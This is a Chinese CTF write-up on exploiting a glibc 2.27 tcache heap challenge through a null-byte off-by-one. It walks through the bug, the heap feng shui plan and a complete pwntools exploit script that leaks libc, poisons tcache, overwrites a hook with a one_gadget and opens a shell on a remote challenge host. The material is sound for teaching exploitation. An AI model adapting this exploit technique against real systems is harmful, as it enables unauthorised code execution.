About tcache & null byte off

Analysis

附件 tcache 了解的太少… 做了好久…现在看起来也挺简单的…可能最近太浮躁没法静下来思考…

主要功能是add,show,和delet

用的是libc2.27有tcache

漏洞

v4 = __readfsqword(0x28u);
  i = 0;
  if ( size )
  {
    while ( 1 )
    {
      read(0, &ptr[i], 1uLL);
      if ( size - 1 < i || !ptr[i] || ptr[i] == 10 )
        break;
      ++i;
    }
    ptr[i] = 0;
    ptr[size] = 0;
  }
  else
  {
    *ptr = 0;
  }
  return __readfsqword(0x28u) ^ v4;

其他地方看不出啥洞…这里有个很明显的ptr[size] = 0; null byte off 但是这题又很刻薄。。。

  • malloc定长malloc(0xF8uLL)
  • read时遇到0x00或者0x0a会停止… //以上两点导致无法自己留pre_size //每个chunk都是0x100导致只能off_by_one只能改pre_inuse位

然后是思路

  • 利用null_byte_off 改pre_inuse 那么主要有两个问题–>
    1.per_size
    2.unlink 的assert
    
  • 第一个问题解决方案:填满tcache 然后利用chunk的合并留下pre_size
    例如已经填满tcache之后
    只要再次free三个chunk那么就会留下0x100在第一个chunk尾部,0x200在第二个chunk尾部....
    这样我们就有了per_size
    
  • 第二个问题的解决办法:
    仅有A在unsorted bin
    null byte off 掉C
    free C 
    
  • 所以总的思路: ```sh #partI set pre_size malloc 10个chunk free 掉7个 填充tcache 依次free掉剩下三个合并成一个0x300的unsorted bin malloc 10个chunk #partI over

#partII Fengshui #方便起见我们程那三个有pre_size的chunk为ABC free B 进tcache 保护起来 free 6个chunk填满tcache free A 进unsorted bin malloc 6 个chunk malloc B 做null byte off free c

成功over lap

part III Tcache atk

泄露 hijack hook


# EXP
```python
from pwn import *
def cmd(c):
	p.sendlineafter("and?\n> ",str(c))
def add(size,data):
	cmd(1)
	p.sendlineafter("size \n> ",str(size))
	p.sendafter("tent \n> ",data)
def show(idx):
	cmd(3)
	p.sendlineafter("dex \n> ",str(idx))
def free(idx):
	cmd(2)
	p.sendlineafter("dex \n> ",str(idx))
#p=process("./easy_heap")
p=remote("10.21.13.100",10003)
#context.log_level='debug'
for x in range(10):
	add(0xf7,'\n')
for x in range(7):
	free(9-x)

free(0)
free(1)
free(2)
#set the presize
for x in range(7):
	add(0xf7,'\n')

add(0x10,'\n')#7
add(0x10,'\n')#8
add(0xf7,'\n')#9
# keep the presize and begin to free
free(8)# protec 
for x in range(6):
	free(x)
#fill tcache
free(7)#into tcache
for x in range(6):
	add(0x10,'\n')
add(0xf8,'\n')#7
for x in range(7):
	free(x)
free(9)
####over laped
for x in range(7):
	add(0x2,'\n')
add(0x2,'\n')#8
show(7)
base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7dcfca0-0x7ffff79e4000)
log.warning(hex(base))
add(0x20,'\n')#9
free(1)
free(2)
free(7)
free(0)
free(9)
add(0x10,p64(0x7ffff7dcfc30-0x7ffff79e4000+base))#0
add(0x10,'\n')#1
add(0x10,'\n')#2
one=base+0x10a38c
add(0x10,p64(one))
p.sendlineafter(">",'1')
p.sendline("clear")
#gdb.attach(p)
p.interactive("nier>>>>")

Review

仔细想想思路挺顺的一题….最近太浮躁了…修身养性修身养性